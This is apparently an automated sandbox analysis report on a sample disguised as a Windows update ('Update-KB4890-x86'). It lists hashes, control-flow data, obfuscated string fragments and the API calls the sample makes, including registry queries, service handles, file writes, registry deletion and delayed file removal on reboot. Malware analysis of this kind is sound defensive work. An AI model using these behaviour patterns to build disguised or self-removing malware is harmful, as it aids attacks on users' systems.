                                                                    • Instruction ID: fff0b790c7a0d9b16c0474446a89fef60bd80b9f406c56c5ed212da1009f27c5
                                                                    • Opcode Fuzzy Hash: 3b144cdf6a657c3d277f1513a7a37946c3bbd038f07daa96f711f80a89638c8d
                                                                    • Instruction Fuzzy Hash: 8A41B470B40B30CBDB20AB76FC0566E76A0AF04714FA5443FF9149A291DB7D8942CB9D

                                                                    Control-flow Graph

                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $ $ $#$#$$$$$%$&$&$&$'$($)$*$/$0$1$2$5$7$8$8$;$=$=$>$?$?$D$H$I$M$M$N$N$N$N$P$P$P$P$P$Q$R$S$S$S$T$T$W$\$]$^$^$^$^c$`$`$a$b$b$c$c$d$d$e$f$g$g$h$h$i$i$i$j$k$m$o$o$p$p$q$r$r$r$r$s$s$s|pd$t$t$u$u$v$v$z$z${${$|$|$|$}$~$~$~
                                                                    • API String ID: 0-2533205990
                                                                    • Opcode ID: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
                                                                    • Instruction ID: 40aa9fcbbacb4e662069c3f6a830727ea6aa88fb999cbe6da6f2476ebe5119cf
                                                                    • Opcode Fuzzy Hash: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
                                                                    • Instruction Fuzzy Hash: D962C32010D7C189D332C77C984879FBFD15BA7228F584A9DE1E85B2E3D2AA8149C767

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00420217
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0042021E
                                                                    • RegOpenKeyExA.KERNELBASE(80000002,00000006,00000000,00000001,00000000), ref: 0042023E
                                                                    • GetLastError.KERNEL32 ref: 00420248
                                                                    • RegQueryValueExA.ADVAPI32(000000FF,00000000,00000000,00000000,00000000,?), ref: 00420286
                                                                    • GetLastError.KERNEL32 ref: 00420290
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,00431CCC,?,00431CCC,?,?,?,?,?,00000001), ref: 004203CA
                                                                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 004203D1
                                                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 004203DC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
                                                                    • String ID: $!$$$'$($,$-$0$2$3$4$4$:$:$A$A$C$D$G$H$I$L$S$S$Y$[$\$]$a$b$e$e$g$h$i$m$p$p$q$t$u$v$v$w$y$z${${$|$}$}
                                                                    • API String ID: 1434707997-4021543146
                                                                    • Opcode ID: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
                                                                    • Instruction ID: 8a31240bc7adcf6ea3cc165c57d100c60a11fb3bc5011af5590440d63b5ba69d
                                                                    • Opcode Fuzzy Hash: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
                                                                    • Instruction Fuzzy Hash: 6D12072110D7C1CDD332C779984879BBFD55BA7228F485A9DE1E84B2E3C3A98109C76B

                                                                    Control-flow Graph

                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $$%$&$'$($/$2$5$=$=$>$?$I$N$N$P$P$Q$R$S$S$T$]$^$^$`$b$c$d$e$g$h$i$i$o$p$r$r$s$t$u$v${$|$}$~
                                                                    • API String ID: 0-2688660894
                                                                    • Opcode ID: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
                                                                    • Instruction ID: abd944b4bf66b48f6ff19b161d47c379f6673315fd2279abf8dc63a53f241184
                                                                    • Opcode Fuzzy Hash: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
                                                                    • Instruction Fuzzy Hash: 6EF10A2010D7C18AD332CB789848B9FBFD55BA6314F484AADE1D95B2E3D3B98109C727

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 114 4210d0-42123c 115 421240-42125e 114->115 115->115 116 421260-4212f8 115->116 117 421300-421342 116->117 117->117 118 421344-4213e3 117->118 119 4213e5-42141d 118->119 119->119 120 42141f-4214b9 GetProcessHeap HeapAlloc RegOpenKeyExA 119->120 121 4214bb-4214c7 GetLastError 120->121 122 4214c9-4214d3 120->122 123 4214dd-421547 call 41f020 call 41f100 GetProcessHeap HeapFree RegCloseKey call 424873 121->123 122->123
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $ $#$&$'$($($)$*$0$5$6$8$A$B$F$G$H$I$L$M$N$O$P$S$T$Z$^$`$c$e$f$i$i$l$p$p$q$q$t$v$v$w(B${$~
                                                                    • API String ID: 0-3106658521
                                                                    • Opcode ID: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
                                                                    • Instruction ID: b9ab1dd3182530b11e39c15e962d93472a180878fd51d4fd0559e01a76d35aec
                                                                    • Opcode Fuzzy Hash: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
                                                                    • Instruction Fuzzy Hash: 9EE1D32110D7C189D322DB7C945868FBFD05BA7228F581A9DF1E45B3E3C2A98249C76B

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00421857
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0042185E
                                                                    • RegOpenKeyExA.KERNELBASE(80000002,000000A2,00000000,00000001,00000000), ref: 00421878
                                                                    • GetLastError.KERNEL32 ref: 00421888
                                                                    • RegQueryValueExA.ADVAPI32(?,0000000C,00000000,000000F7,00000000,?), ref: 004218A6
                                                                    • GetLastError.KERNEL32 ref: 004218B0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorHeapLast$AllocOpenProcessQueryValue
                                                                    • String ID: $"$#$&$)$*$+$0$@$E$E$L$M$N$O$P$P$S$T$W$Z$^$c$d$e$e$i$i$i$j$n$o$r$s$t$t$u$v$v
                                                                    • API String ID: 1776519057-2463442936
                                                                    • Opcode ID: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
                                                                    • Instruction ID: de080bc917b6dafc203796a283a93a50a3f41381c7ced34f7cef138a8a95d9cd
                                                                    • Opcode Fuzzy Hash: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
                                                                    • Instruction Fuzzy Hash: D4D13C6110C7C1CDD322D778988879FBFD15BA6218F484E9DF1E45B3E2D2A98109C76B

                                                                    Control-flow Graph

                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: "$'$($/$/$0$1$2$4$6$:$?$F$U$Y$Z$b$c$c$c$d$h$i$o$t$t$v$y$y$z${${
                                                                    • API String ID: 0-1086536751
                                                                    • Opcode ID: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
                                                                    • Instruction ID: 11e3b4fdb97899335a1116277c19ae4b67f777c444ac700ec2618231df2b17f2
                                                                    • Opcode Fuzzy Hash: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
                                                                    • Instruction Fuzzy Hash: 9AD1492010C7C19ED322DB79984865FBFD45BA6218F485F9DF1E44B3E3D2A9810AC76B

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004150AB
                                                                      • Part of subcall function 00413AD0: SetEvent.KERNEL32(000002A0,?,00000000,00000001,00415108), ref: 0041EF12
                                                                      • Part of subcall function 00413AD0: SetEvent.KERNEL32(000002AC), ref: 0041EF20
                                                                      • Part of subcall function 00413AD0: SetEvent.KERNEL32(000002B0), ref: 0041EF2B
                                                                      • Part of subcall function 00413AD0: SetEvent.KERNEL32(000002A8), ref: 0041EF36
                                                                      • Part of subcall function 00413AD0: SetEvent.KERNEL32(000002A4), ref: 0041EF41
                                                                      • Part of subcall function 004120C0: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
                                                                      • Part of subcall function 004120C0: GetFileAttributesA.KERNEL32(?), ref: 004121FF
                                                                      • Part of subcall function 00413DD0: Sleep.KERNEL32(0002BF20,00000000), ref: 00413E62
                                                                      • Part of subcall function 00412B30: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
                                                                      • Part of subcall function 00412B30: GetLocalTime.KERNEL32(0000003C), ref: 00412C31
                                                                      • Part of subcall function 00412B30: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
                                                                      • Part of subcall function 00412B30: WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
                                                                      • Part of subcall function 00412B30: CloseHandle.KERNEL32(00000000), ref: 00412C69
                                                                      • Part of subcall function 00413280: RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
                                                                      • Part of subcall function 00413280: RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
                                                                      • Part of subcall function 00413280: RegCloseKey.ADVAPI32(?), ref: 0041345C
                                                                      • Part of subcall function 00413280: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
                                                                      • Part of subcall function 00413280: MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041348A
                                                                      • Part of subcall function 0041EF50: ResetEvent.KERNEL32(000002A0,?,00000000,00000001,00415134), ref: 0041EF67
                                                                      • Part of subcall function 0041EF50: ResetEvent.KERNEL32(000002AC), ref: 0041EF76
                                                                      • Part of subcall function 0041EF50: ResetEvent.KERNEL32(000002B0), ref: 0041EF81
                                                                      • Part of subcall function 0041EF50: ResetEvent.KERNEL32(000002A8), ref: 0041EF8C
                                                                      • Part of subcall function 0041EF50: ResetEvent.KERNEL32(000002A4), ref: 0041EF97
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Event$File$Reset$CloseEnvironmentExpandModuleNameStrings$AttributesCreateDeleteHandleLocalMoveOpenSleepTimeValueWrite
                                                                    • String ID: $'$0$1$4$:$<$D$F$O$V$Y$^$_$h$m$s$t$x$x$x$z${$}
                                                                    • API String ID: 2834431147-455679219
                                                                    • Opcode ID: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
                                                                    • Instruction ID: 303c94e765967613df6afeb7444a04bb2175ba7380c9a58d85960b8bb2ad4b0c
                                                                    • Opcode Fuzzy Hash: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
                                                                    • Instruction Fuzzy Hash: 8AE1482120C7C089D33297399848BDBBFD55FE6318F584A9EE1E88B2D3C6B58149C767

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32 ref: 00421C2A
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00421C2D
                                                                    • RegOpenKeyExA.KERNELBASE(80000002,000000A2,00000000,00000001,00000000), ref: 00421C48
                                                                    • GetLastError.KERNEL32 ref: 00421C58
                                                                    • RegQueryValueExA.ADVAPI32(?,00000057,00000000,00000000,00000000,?), ref: 00421C77
                                                                    • GetLastError.KERNEL32 ref: 00421C81
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,00431D8C,?,?,?,?,?,00000001), ref: 00421D20
                                                                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 00421D23
                                                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 00421D2E
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
                                                                    • String ID: #$$$&$)$*$;$>$H$N$R$S$T$V$W$^$r$s$t$u
                                                                    • API String ID: 1434707997-1823157150
                                                                    • Opcode ID: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
                                                                    • Instruction ID: fa9cfd876d3b6e4b553c796e2fcc97387f4aba46f10f049a185be6cbd934e7b4
                                                                    • Opcode Fuzzy Hash: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
                                                                    • Instruction Fuzzy Hash: E1A17A6110D3C19ED322DB79A884B9BBFD45FA6208F481EADF0D487393D2A5C108C76B

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,000000FF,?), ref: 0041FBF0
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0041FBF7
                                                                    • RegOpenKeyExA.KERNELBASE(80000002,00000006,00000000,00000001,75570A60), ref: 0041FC14
                                                                    • GetLastError.KERNEL32 ref: 0041FC24
                                                                    • RegQueryValueExA.ADVAPI32(?,000000E5,00000000,00000000,00000000,?), ref: 0041FC40
                                                                    • GetLastError.KERNEL32 ref: 0041FC4A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorHeapLast$AllocOpenProcessQueryValue
                                                                    • String ID: Z$c$d$i$t$v$y${
                                                                    • API String ID: 1776519057-3640894087
                                                                    • Opcode ID: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
                                                                    • Instruction ID: 17e8e7697b2e3bef17a3567bbfa0b456d59c673bdf2ae35ddef1ee050250fe48
                                                                    • Opcode Fuzzy Hash: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
                                                                    • Instruction Fuzzy Hash: 7351CF7110C3C08ED311DB689855B9BFFE5AF99708F044E6EE1C587292D7B98109CB6B

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F02D
                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F039
                                                                    • OpenServiceA.ADVAPI32(00000000,?,00000004,00431C98,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F057
                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F063
                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F070
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLastOpenService$CloseHandleManager
                                                                    • String ID:
                                                                    • API String ID: 48634454-0
